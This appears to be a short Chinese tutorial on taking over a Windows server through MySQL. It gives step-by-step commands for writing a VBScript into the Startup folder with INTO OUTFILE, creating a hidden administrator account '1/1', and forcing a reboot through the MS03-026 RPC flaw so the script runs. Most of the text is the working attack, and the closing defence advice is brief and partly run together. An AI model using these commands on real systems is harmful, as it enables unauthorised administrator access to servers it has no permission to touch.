本文僅供安全研究與防禦參考,嚴禁用於非授權滲透測試。請務必遵守當地法律法規。
mysql -u root -h 192.168.0.1
SHOW DATABASES;
USE test;
SHOW TABLES;
CREATE TABLE a (cmd TEXT);
INSERT INTO a VALUES ('Set wshshell=CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a=wshshell.Run("cmd.exe /c net user 1 1 /add",0)');
INSERT INTO a VALUES ('b=wshshell.Run("cmd.exe /c net localgroup Administrators 1 /add",0)');
原理: 利用 WScript.Shell 靜默執行 CMD 指令,建立帳號 1/密碼 1 並加入管理員群組。,0 代表隱藏視窗。
SELECT * FROM a;
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";
路徑針對 Windows XP/2003 全使用者啟動資料夾,重啟後自動執行。
利用 RPC 漏洞(如 MS03-026 端口 135)強制重啟伺服器,待系統啟動自動執行 VBS,攻擊者即獲得管理員帳號。
bind-address=127.0.0.1 或防火牆限制 3306 僅內網可達FILE 權限此手法結合 MySQL 弱密碼、INTO OUTFILE 權限過大、Windows 啟動機制三大弱點。防禦核心在於最小權限原則與纏深防禦,單一防線失效不應導致全盤陷落。